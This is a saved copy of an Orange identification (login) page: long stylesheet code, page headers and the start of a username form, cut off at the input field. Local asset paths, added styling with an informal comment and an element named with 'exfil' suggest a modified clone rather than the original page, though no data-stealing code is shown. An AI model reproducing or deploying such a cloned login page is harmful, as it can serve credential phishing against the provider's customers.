padding: 0.4em; justify-content: center; align-items: center; } .morpheus-search form .clear[type="reset"] { display: none; } .morpheus-search form button[type="reset"] { right: 1.25em; } .morpheus-search form button[type="reset"] i { font-size: 1.25em; } .morpheus-search form button[type="reset"][aria-hidden="true"] { display: none !important; } .morpheus-search form .spotlight-hit-results { display: none; position: absolute; list-style: none; top: calc(100% + 1px); right: 0px; left: 0px; margin: 0px; padding: 0.625em 0px; z-index: 9999; border: medium; background: rgb(39, 39, 39); } .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { color: rgb(255, 255, 255); padding: 5px 15px; font-size: 16px; font-weight: 700; line-height: 22px; border-bottom: 1px solid rgb(51, 51, 51); min-height: 2.375em; display: flex; align-items: center; } @media (max-width: 64em) { .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { min-height: 3.0625em; } } .morpheus-search form .spotlight-hit-results li:first-of-type + .spotlight-hit-result { display: none; visibility: hidden; height: 0px; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result { line-height: initial; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor: pointer; color: rgb(255, 255, 255); display: flex; align-items: center; min-height: 2.4375em; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result i.search.icon { position: absolute; left: 0.875em; font-size: 1.25em; pointer-events: none; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { overflow: hidden; text-overflow: ellipsis; box-sizing: border-box; vertical-align: middle; text-decoration: none; width: 100%; font-size: 1em; padding: 0.3125em 2.8125em; color: rgb(255, 255, 255); } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a em { font-weight: normal; color: inherit; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a em + span { font-weight: bold; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a img { display: block; float: left; margin-right: 0.625em; width: 2.5em; height: 3.375em; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a p { display: block; margin: 0.125em 0px; font-weight: normal; color: rgb(170, 170, 170); } .morpheus-search form .search-box-overlay { --offset-height: calc(100vh - 100%); position: absolute; left: 0px; right: 0px; background: rgb(39, 39, 39); z-index: 2; top: 100%; height: var(--offset-height); display: none; border-top: 1px solid rgb(255, 255, 255); box-sizing: border-box; } .morpheus-search:focus-within, .morpheus-search.forced-open { background: rgb(39, 39, 39); border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search:focus-within form, .morpheus-search.forced-open form { border: medium !important; } .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { display: block; position: unset; width: 1.5em; height: 1.5em; font-size: 16px; border: medium !important; outline: none !important; background: none; } .morpheus-search:focus-within form button[type="submit"], .morpheus-search:focus-within form .before, .morpheus-search.forced-open form button[type="submit"], .morpheus-search.forced-open form .before { display: none; } .morpheus-search:focus-within form .clear, .morpheus-search.forced-open form .clear { display: flex; } .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { display: block; } .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; } @media (max-width: 64em) { .morpheus-search:focus-within, .morpheus-search.forced-open { height: 3.125em; padding: 0px; margin-bottom: 1.125em; } .morpheus-search:focus-within form, .morpheus-search.forced-open form { height: 100%; width: 100%; } .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { border-right: 1px solid rgb(51, 51, 51) !important; margin: 3px 0px 3px 15px; padding-right: 15px; width: unset; height: unset; } .morpheus-search:focus-within form .close-mobile i, .morpheus-search.forced-open form .close-mobile i { outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .morpheus-search:focus-within form .close-mobile i::before, .morpheus-search.forced-open form .close-mobile i::before { transform: translate(-1px, 1px) rotate(180deg); } .morpheus-search:focus-within form .close-mobile:focus-visible i, .morpheus-search.forced-open form .close-mobile:focus-visible i { outline: rgb(241, 110, 0) solid 2px !important; outline-offset: 2px !important; } .morpheus-search:focus-within form .search-input, .morpheus-search.forced-open form .search-input { padding-left: 0.875em; padding-right: 3em; font-size: 1em; } .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { padding-top: 0px; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result { border-bottom: 1px solid rgb(51, 51, 51); min-height: 3.0625em; display: flex; align-items: center; padding: 0px; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result a, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result a { padding: 0.3125em 0.9375em 0.3125em 2.8125em !important; line-height: 1.375em; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result[data-active="true"], .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result[data-active="true"] { background: rgb(85, 85, 85); } .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; } } @media (max-width: 68.75em) { .morpheus-search { width: 15em; } } @media (max-width: 64em) { .morpheus-search { width: auto; } } @media (min-width: 64.0625em) { .morpheus-search { height: 2.875em; padding: 0px; border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search form { height: 100%; width: auto; border: 1px solid rgba(0, 0, 0, 0); } .morpheus-search form button { color: rgb(255, 255, 255); } .morpheus-search form .close-mobile { display: none; } .morpheus-search form .search-input { padding: 0.857143em 2.14286em 1em 3.35714em; } .morpheus-search form button[type="reset"] { right: 3.3125em; } .morpheus-search form .spotlight-hit-results { border: 1px solid rgb(85, 85, 85); top: 100%; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { padding: 0.4375em 0.9375em 0.625em 2.8125em; color: rgb(0, 0, 0); } .morpheus-search form .search-box-overlay { display: none !important; } .morpheus-search:focus-within { border: medium; } .morpheus-search:focus-within form { background: rgb(255, 255, 255); border-color: rgb(85, 85, 85); } .morpheus-search:focus-within form button[type="reset"], .morpheus-search:focus-within form button[type="submit"] { display: flex; color: rgb(0, 0, 0); } .morpheus-search:focus-within form .before, .morpheus-search:focus-within form .close-mobile { display: none !important; } .morpheus-search:focus-within form .search-input { padding: 0.84375em 4.5em 0.84375em 0.9375em; font-weight: 700; color: rgb(0, 0, 0); border: 1px solid rgb(85, 85, 85); } .morpheus-search:focus-within form .search-input::placeholder { color: rgb(51, 51, 51); } .morpheus-search:focus-within form .spotlight-hit-results { background-color: rgb(255, 255, 255); border: 1px solid rgb(85, 85, 85); padding-top: 0.5em; padding-bottom: 0.5em; } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-results-title { color: rgb(85, 85, 85); font-size: 0.875em; line-height: 1.25em; border: medium; } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result[data-active="true"] { background: rgb(244, 244, 244); } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result .icon.search { color: rgb(0, 0, 0); } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result a { padding: 0.3125em 2.8125em; font-size: 1em; line-height: 1.375em; } } .band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); } @media (max-width: 90em) { .band { padding: 1.25em 3.75em; } } @media (max-width: 80em) { .band { padding: 1.25em 3.4375em; } } @media (max-width: 64em) { .band { padding: 0.625em 2.9375em; } } @media (max-width: 48em) { .band { padding: 0.625em 1.6875em; } } @media (max-width: 30em) { .band { padding: 0.625em 0.9375em; } } .band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; } .band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; } .band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; } .band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; } .band { display: block; position: relative; color: rgb(255, 255, 255); border-top: 1px solid rgb(85, 85, 85); background-color: rgb(0, 0, 0); font-family: o-HelveticaNeue, Arial, sans-serif; } @media (max-width: 48em) { .band { border-top: medium; padding-top: 0.9375em; padding-bottom: 0.9375em; } .band::before { content: ""; display: block; position: absolute; top: 0px; left: 1.6875em; right: 1.6875em; height: 0px; border-top: 0.0625em solid rgb(85, 85, 85); } } @media (max-width: 48em) and (max-width: 30em) { .band::before { left: 0.9375em; right: 0.9375em; } } .band .hidden { display: none; } .band .light-mode { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); } .band.sosh { background-color: rgb(51, 51, 51); font-size: 0.8125em; color: rgb(255, 255, 255); } .push-boutique .board { display: flex; align-items: center; background-color: rgba(255, 255, 255, 0.1); padding: 1.875em 2.5em; background-image: url(""); background-repeat: no-repeat; background-size: contain; background-position: right center; } .push-boutique .board.reunion, .push-boutique .board.mayotte, .push-boutique .board.caraibe { background-image: none; } .push-boutique .board.reunion .button, .push-boutique .board.mayotte .button, .push-boutique .board.caraibe .button { margin-right: 0px; } @media (max-width: 64em) { .push-boutique .board.reunion .button, .push-boutique .board.mayotte .button, .push-boutique .board.caraibe .button { margin: auto; } } .push-boutique .board .title { font-size: 1.75em; line-height: 1.07143em; font-weight: bold; } .push-boutique .board .title em { color: rgb(241, 110, 0); font-style: normal; } .push-boutique .board .title .subtitle { font-size: 0.642857em; font-weight: normal; line-height: 0.857143em; margin-top: 0.535714em; } .push-boutique .board .button { padding: 0.875em 2.8125em; font-size: 1em; border: 0.0625em solid rgb(255, 255, 255); margin-left: auto; margin-right: 11.125em; text-decoration: none; white-space: nowrap; height: 1em; box-sizing: content-box; line-height: 1em; } .push-boutique .board .button:hover, .push-boutique .board .button:focus { text-decoration: none; } @media (max-width: 80em) { .push-boutique .board { background-position: calc(100% + 3.75em) center; } .push-boutique .board .button { margin-right: 5.1875em; } } @media (max-width: 64em) { .push-boutique .board { flex-wrap: wrap; gap: 1.25em; justify-content: center; background-image: none; } .push-boutique .board .title { flex-grow: 1; flex-basis: 100%; text-align: center; } .push-boutique .board .button { margin: auto; } } @media (max-width: 48em) { .push-boutique .board { padding: 1.875em 0.5em; } .push-boutique .board .title { font-size: 1.25em; line-height: 1.5em; } .push-boutique .board .title .subtitle { font-size: 0.7em; line-height: 1.2em; margin-top: 0.75em; } } .redirection { display: flex; flex-wrap: wrap; gap: 1.875em; } @media (max-width: 22.5em) { .redirection { flex-direction: column; gap: 1.25em; } } .redirection a { font-size: 0.875em; display: flex; align-items: center; white-space: nowrap; text-decoration: none; } .redirection a:active span, .redirection a:focus-visible span, .redirection a:focus-within span { text-decoration: underline; } .redirection a::before { font-size: 1em; margin-right: 0.375em; } .apps-et-reseaux { display: flex; flex-wrap: wrap; gap: 2.5em; } .apps-et-reseaux .app-stores.element { position: relative; } .apps-et-reseaux .app-stores.element ul li a { display: inline-flex; border: 0.0625em solid rgb(255, 255, 255); border-radius: 0.3125em; padding: 0.3125em 0.4375em; min-height: 2.4375em; min-width: 6.25em; box-sizing: border-box; place-content: center; } @media (max-width: 22.5em) { .apps-et-reseaux .app-stores.element ul { flex-wrap: wrap; height: auto; justify-content: left; } } @media (max-width: 48em) { .apps-et-reseaux .app-stores.element { width: 100%; flex-flow: wrap; align-items: center; } .apps-et-reseaux .app-stores.element .title { margin-right: auto; } } .apps-et-reseaux .reseaux-sociaux.element { margin-left: auto; } .apps-et-reseaux .reseaux-sociaux.element ul li a { width: 1.625em; height: 1.625em; text-align: center; text-decoration: none; color: rgb(255, 255, 255); border: medium; border-radius: 50%; background-color: rgb(0, 0, 0); font-size: 1.125em; line-height: 1.6em; } .apps-et-reseaux .reseaux-sociaux.element ul li a.facebook:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.facebook:focus { background-color: rgb(69, 97, 157); border-color: rgb(69, 97, 157); } .apps-et-reseaux .reseaux-sociaux.element ul li a.twitter:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.twitter:focus { background-color: rgb(85, 172, 238); border-color: rgb(85, 172, 238); } .apps-et-reseaux .reseaux-sociaux.element ul li a.x-com::before { top: 0.0625em; left: 0.0625em; font-size: 0.9em; } .apps-et-reseaux .reseaux-sociaux.element ul li a.x-com:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.x-com:focus { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); } .apps-et-reseaux .reseaux-sociaux.element ul li a.pinterest:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.pinterest:focus { background-color: rgb(191, 23, 32); border-color: rgb(191, 23, 32); } .apps-et-reseaux .reseaux-sociaux.element ul li a.instagram:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.instagram:focus { background-color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); color: rgb(0, 0, 0); } .apps-et-reseaux .reseaux-sociaux.element ul li a.linkedin:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.linkedin:focus { background-color: rgb(0, 123, 182); border-color: rgb(0, 123, 182); } .apps-et-reseaux .reseaux-sociaux.element ul li a.youtube:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.youtube:focus { background-color: red; border-color: red; } .apps-et-reseaux .reseaux-sociaux.element ul li a.tiktok:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.tiktok:focus { background-color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); color: rgb(0, 0, 0); } .apps-et-reseaux .reseaux-sociaux.element ul li a:hover { color: rgb(255, 255, 255); } .apps-et-reseaux .reseaux-sociaux.element ul li a::before { display: inline-flex; align-items: center; } @media (max-width: 48em) { .apps-et-reseaux .reseaux-sociaux.element { margin-left: initial; flex-direction: row; min-height: initial; } } .apps-et-reseaux div.element { display: flex; gap: 0.625em; flex-direction: column; } .apps-et-reseaux div.element .title { font-weight: 700; font-size: 1em; margin: 0px; white-space: nowrap; } .apps-et-reseaux div.element ul { list-style-type: none; margin: 0px; padding: 0px; display: flex; gap: 1.125em; height: 3.125em; justify-content: center; align-items: center; } .apps-et-reseaux div.element ul li a { display: inline-block; } @media (max-width: 48em) { .apps-et-reseaux { flex-direction: column; } .apps-et-reseaux > div { position: relative; margin-left: 0px; flex-flow: wrap; align-items: center; justify-content: space-between; } .apps-et-reseaux > div::before { content: ""; display: block; position: absolute; width: 100%; height: 0px; border-top: 0.0625em solid rgb(85, 85, 85); top: -1.25em; } .apps-et-reseaux > div:first-of-type::before { display: none; } } .escda { display: flex; place-content: center; } .escda a.escda-link { display: flex; max-width: 25em; gap: 1.875em; align-items: center; } @media (max-width: 22.5em) { .escda a.escda-link { gap: 0.625em; } } .escda a.escda-link img { width: 4em; } .liens-legaux a, .liens-legaux span { display: inline-block; font-size: 0.875em; } .gp.liens-legaux { display: flex; justify-content: center; } .gp.liens-legaux .size-limit { display: flex; gap: 0.625em 1.875em; justify-content: center; align-items: center; flex-wrap: wrap; max-width: 64em; } .gp.liens-legaux .size-limit a { white-space: nowrap; } .gp.liens-legaux .size-limit a b { white-space: nowrap; font-weight: inherit; } .gp.liens-legaux .size-limit span.separator { display: inline-block; width: 0px; height: 1em; border-left: 1px solid rgb(85, 85, 85); } .gp.liens-legaux .size-limit .non-breakable { white-space: nowrap; display: inline-flex; gap: 0.625em 1.875em; } .gp.liens-legaux .size-limit .non-breakable a { font-size: inherit; } @media (max-width: 48em) { .gp.liens-legaux .size-limit { display: block; columns: 2; width: 100%; } .gp.liens-legaux .size-limit .non-breakable { display: block; } .gp.liens-legaux .size-limit .non-breakable a { display: block; } .gp.liens-legaux .size-limit span.separator { display: none; } .gp.liens-legaux .size-limit a, .gp.liens-legaux .size-limit span { display: block; margin: 0px 0px 1.25em; white-space: normal; } } @media (max-width: 22.5em) { .gp.liens-legaux .size-limit { columns: 1; } .gp.liens-legaux .size-limit a, .gp.liens-legaux .size-limit span { display: block; margin: 0px 0px 1.25em; white-space: normal; } } .liens-legaux.sosh { display: flex; justify-content: center; padding-top: 1.25em; padding-bottom: 1.25em; } @media screen and (max-width: 48em) { .liens-legaux.sosh { justify-content: normal; } } .liens-legaux.sosh .size-limit { display: flex; gap: 0.625em 1.875em; justify-content: center; align-items: center; flex-wrap: wrap; max-width: 64em; } @media screen and (max-width: 48em) { .liens-legaux.sosh .size-limit { flex-direction: column; font-size: 1.0625em; align-items: normal; } .liens-legaux.sosh .size-limit .non-breakable { flex-direction: column; } } .liens-legaux.sosh .size-limit a { font-size: 1em; white-space: nowrap; } .liens-legaux.sosh .size-limit a b { white-space: nowrap; font-weight: inherit; } .liens-legaux.sosh .size-limit .non-breakable { font-size: 1em; white-space: nowrap; display: inline-flex; gap: 0.625em 1.875em; } .liens-legaux.sosh .size-limit .non-breakable a { font-size: inherit; } .liens-legaux.sosh .separator, .liens-legaux.sosh .copyright { display: none; } .liens-legaux-compact.band { position: relative; margin: 0px; padding: 0px; border-top: medium; } .liens-legaux-compact.band.dark-mode { color: rgb(255, 255, 255); border-top: 2px solid rgb(0, 0, 0); background-color: rgb(0, 0, 0); } .liens-legaux-compact.band.light-mode { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-top: 1px solid rgb(204, 204, 204); border-bottom: 1px solid rgb(204, 204, 204); } .liens-legaux-compact.band.light-mode a { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); } .liens-legaux-compact.band.light-mode.compact-list { border-top: 2px solid rgb(204, 204, 204); } .liens-legaux-compact .compact-list { width: 100%; margin: 0px; padding: 0px; background-color: rgb(0, 0, 0); border-top: 2px solid rgb(0, 0, 0); } .liens-legaux-compact .compact-list a { display: block; box-sizing: border-box; width: 100%; padding: 10px 15px; color: rgb(255, 255, 255); font-weight: 700; line-height: 1.5; font-size: 0.875em; outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; } .liens-legaux-compact .compact-list a.sticky { background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); } .liens-legaux-compact .compact-list a.hidden { display: none; } .liens-legaux-compact .compact-list a:hover, .liens-legaux-compact .compact-list a:focus { text-decoration: underline; } .liens-legaux-compact .compact-list a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; } .liens-legaux-compact .band-button { display: block; width: 100%; padding: 0px 15px; cursor: pointer; text-align: left; color: inherit; border: medium; background-color: inherit; font-size: 14px; font-weight: 700; line-height: 40px; outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; } .liens-legaux-compact .band-button::before { float: right; font-size: 1.625em; transform: rotate(270deg); } .liens-legaux-compact .band-button[aria-expanded="true"]::before { transform: rotate(90deg); } .liens-legaux-compact .band-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; } .sitemap { display: flex; } .sitemap div.categories { display: grid; width: 100%; gap: 1.25em; grid-auto-rows: min-content; } .sitemap div.categories h3 { grid-row: 1; margin: 0px; } .sitemap div.categories ul.category-items { grid-row: 2; list-style-type: none; margin: 0px; padding: 0px; display: flex; flex-direction: column; gap: 1.125em; } .sitemap div.categories ul.category-items li > a { display: flex; align-items: baseline; font-size: 0.875em; font-weight: initial; } .sitemap div.categories ul.category-items li > a.link-icon-text::before { font-size: 0.875em; margin-right: 0.375em; flex-shrink: 0; } @media screen and (max-width: 48em) { .sitemap div.categories { margin: 0px; padding: 0px; display: flex; justify-content: space-between; flex-direction: column; gap: 0px; } .sitemap div.categories button { position: relative; background: none; border: medium; color: rgb(255, 255, 255); text-align: left; font-size: 1em; font-weight: 700; line-height: 1.2; display: flex; padding: 0.3125em; margin: 0.3125em -0.3125em; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sitemap div.categories button::after { transform: rotate(90deg); margin-left: auto; color: rgb(241, 110, 0); } .sitemap div.categories button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .sitemap div.categories button::before { content: ""; position: absolute; bottom: -0.3125em; left: 0.3125em; width: calc(100% - 0.625em); border-bottom: 1px solid rgb(244, 244, 244); } .sitemap div.categories button[aria-expanded="true"]::after { transform: rotate(-90deg); } .sitemap div.categories button[aria-expanded="true"]::before { border-bottom: medium; } .sitemap div.categories ul.category-items { display: none; } .sitemap div.categories ul.category-items.is-selected { display: flex; padding: 0.625em 0px 1.25em; border-bottom: 1px solid rgb(244, 244, 244); } }"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="msapplication-config" content="none"> <link rel="apple-touch-icon" sizes="57x57" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="https://idme.cdn.s.woopic.com/idme-front-1.3.1//static/icons/apple-touch-icon-180x180.png"> <link rel="icon" type="image/png" href="favicon-32x32.png" sizes="32x32"> <link rel="icon" type="image/png" href="favicon-194x194.png" sizes="194x194"> <link rel="icon" type="image/png" href="favicon-96x96.png" sizes="96x96"> <link rel="icon" type="image/png" href="android-chrome-36x36.png" sizes="36x36"> <link rel="icon" type="image/png" href="android-chrome-48x48.png" sizes="48x48"> <link rel="icon" type="image/png" href="android-chrome-72x72.png" sizes="72x72"> <link rel="icon" type="image/png" href="android-chrome-96x96.png" sizes="96x96"> <link rel="icon" type="image/png" href="android-chrome-144x144.png" sizes="144x144"> <link rel="icon" type="image/png" href="android-chrome-192x192.png" sizes="192x192"> <link rel="icon" type="image/png" href="favicon-16x16.png" sizes="16x16"> <title>Saisie de votre identifiant - Identification Orange</title> <style> .form-control-placeholder.label-paused { animation: none !important; transition: none !important; transform: translateY(-33%) scale(0.906); /* adapte à ton animation finale */ right: 18%; color: #000000; /* optionnel */ } html, body, main#root { height: 100%; margin: 0; padding: 0; } .flex-fill.d-flex.flex-column.bg-gray2 { flex: 1 1 auto; height: 100%; background-color: #dfc9c9; /* ou la couleur associée à "bg-gray2" */ display: flex; flex-direction: column; }</style> <!-- Nginx header handler --> <link rel="stylesheet" href="index-SdUAaSso.css"> <style class="__chameleon_filtered_exfil"></style><link rel="stylesheet" href="orange-icons-D0YzO_qq.css"><style>body.une-arche elcos-header,body.une-arche elcos-footer-zone{--body-has-arch: 1 }body.une-arche elcos-header,body.une-arche elcos-footer-zone{--body-has-arch: 1 }elcos-header{--mobile-phone-portrait-breakpoint: 30em;--mobile-768-breakpoint: 48em;--mobile-breakpoint: 64em;--tiny-desktop-1100-breakpoint: 68.75em;--small-desktop-1280-breakpoint: 80em}@font-face{font-family:"o-HelveticaNeue";src:url("HelvNeue55_W1G.eot");src:url("HelvNeue55_W1G.eot") format("embedded-opentype"),url("HelvNeue55_W1G.woff2") format("woff2"),url("HelvNeue55_W1G.woff") format("woff"),url("HelvNeue55_W1G.ttf") format("truetype"),url("HelvNeue55_W1G.svg") format("svg");font-weight:normal;font-style:normal;font-display:swap}@font-face{font-family:"o-HelveticaNeue";src:url("HelvNeue75_W1G.eot");src:url("HelvNeue75_W1G.eot") format("embedded-opentype"),url("HelvNeue75_W1G.woff2") format("woff2"),url("HelvNeue75_W1G.woff") format("woff"),url("HelvNeue75_W1G.ttf") format("truetype"),url("HelvNeue75_W1G.svg") format("svg");font-weight:bold;font-style:normal;font-display:swap}@font-face{font-family:"Sosh Medium";font-style:normal;font-weight:400;src:url("") format("woff2"),url("") format("woff")}@font-face{font-family:"Sosh Medium";font-style:normal;font-weight:700;src:url("") format("woff2"),url("") format("woff")}@font-face{font-family:"Sosh Bold";font-style:normal;font-weight:700;src:url("") format("woff2"),url("") format("woff")}@font-face{font-family:"elcos-embedded-icons";src:url("") format("woff");font-weight:normal;font-style:normal}elcos-header,elcos-footer-zone,elcos-search-box{all:initial !important;font-family:o-HelveticaNeue,Arial,sans-serif;font-size:16px !important}elcos-header:focus,elcos-header:active,elcos-header:hover,elcos-header:visited,elcos-header:focus-visible,elcos-footer-zone:focus,elcos-footer-zone:active,elcos-footer-zone:hover,elcos-footer-zone:visited,elcos-footer-zone:focus-visible,elcos-search-box:focus,elcos-search-box:active,elcos-search-box:hover,elcos-search-box:visited,elcos-search-box:focus-visible{all:initial !important;font-family:o-HelveticaNeue,Arial,sans-serif;font-size:16px !important}elcos-header.preloading{display:none !important}.o-no-scroll{overflow:hidden}.o-anchor{display:block;visibility:hidden;overflow:hidden;height:0}.o-is-sidepanel-open{width:100% !important;height:100vh !important;overflow:hidden !important}@media screen and (max-width: 22.5em){.o-is-layer-open{width:100% !important;height:100vh !important;overflow:hidden !important}}.elcos-footer-zone{display:block !important}.elcos-footer-zone:last-of-type{border-bottom:solid .0625em #666 !important}.elcos-footer-zone:hover{display:block !important}.elcos-footer-zone:hover:last-of-type{border-bottom:solid .0625em #666 !important}footer>.o-marge{background-color:#000;color:#fff;font-family:o-HelveticaNeue,Arial,sans-serif;padding:1.25em calc(3.75em + (100% - 90em)/2)}@media(max-width: 90em){footer>.o-marge{padding:1.25em 3.75em}}@media(max-width: 80em){footer>.o-marge{padding:1.25em 3.4375em}}@media(max-width: 64em){footer>.o-marge{padding:.625em 2.9375em}}@media(max-width: 48em){footer>.o-marge{padding:.625em 1.6875em}}@media(max-width: 30em){footer>.o-marge{padding:.625em .9375em}}elcos-footer-zone[zone=liens-legaux-compact]{margin:0;padding:0}elcos-footer-zone[zone=liens-legaux-compact]:last-of-type{border-bottom:none}div:has(>elcos-footer-zone[zone=liens-legaux-compact]){height:auto !important}html{--document-scroll-offset: 0px}html.o-elcos-scroll-lock,html .o-elcos-scroll-lock{width:100% !important;height:calc(100vh + var(--document-scroll-offset)) !important;overflow:hidden !important}</style><script data-scrapbook-elem="custom-elements-loader">(function (names) { if (!customElements) { return; } for (const name of names) { customElements.define(name, class CustomElement extends HTMLElement {}); } })(["elcos-header","elcos-footer-zone"])</script></head> <body class="h-100" ><iframe style="display: none;" name="__tcfapiLocator" title="__tcfapiLocator" src="index_1.html"></iframe><elcos-header data-scrapbook-adoptedstylesheets="0" data-scrapbook-shadowdom="<div></div>"></elcos-header> <noscript>You need to enable JavaScript to run this app.</noscript> <main id="root"><noscript></noscript><div id="o-header" class="d-none" aria-hidden="true"><elcos-header class="" data-scrapbook-adoptedstylesheets="1" data-scrapbook-shadowdom="<div class="band bandeau-accessibility gp"><a title="Aller au contenu" href="#o-content-anchor" data-oevent-category="header" data-oevent-action="accessibilite" data-oevent-label="alleraucontenu">Aller au contenu</a></div><div class="band ruban gp has-layer small"><div class="left"><a title="Retour à l'accueil Orange.fr" href="https://www.orange.fr/" data-oevent-category="header" data-oevent-action="logo" tabindex="0" role="presentation" aria-label="Retour à l'accueil Orange.fr" class="logo has-small"><img src="small-logo-orange.svg" alt="Retour à l'accueil Orange.fr" class="small"></a></div><div class="right"></div></div><div class="overlay"></div><div></div>"></elcos-header></div><a id="o-content-anchor" class="o-anchor" tabindex="-1"></a><div id="s-header" class="d-none" aria-hidden="true"></div><div class="flex-fill d-flex flex-column bg-gray2"><div class="col-12 col-sm-12 col-md-7 col-lg-6 col-xl-5 col-xxl-4 bg-white align-self-center p-0 border-idme"><div class="mt-0 mb-3"><div class="row d-block text-center mt-2 px-2 px-lg-3"><a href="https://www.orange.fr/" title="retour à l'accueil" data-oevent-category="idme_logo-V2" data-oevent-action="clic_logo" data-oevent-label="lien_orange"><img src="logo-orange.png" alt="Retour à l'accueil Orange" style="max-height: 50px;"></a><h1 class="mt-1 mb-1 pb-0" data-testid="pageTitle">Identifiez-vous</h1></div></div><div class="container-fluid mb-4 mb-md-3"><form><div class="row"><div class="col-12"><h2 class="h4 mb-0" data-testid="pageSubtitle">Indiquez votre compte Orange</h2></div></div><div class="row"><div class="col-12 col-md-12 justify-content-center"><div class="form-group"><input type="text" id="login" placeholder=" " class="form-control form-control-empty" 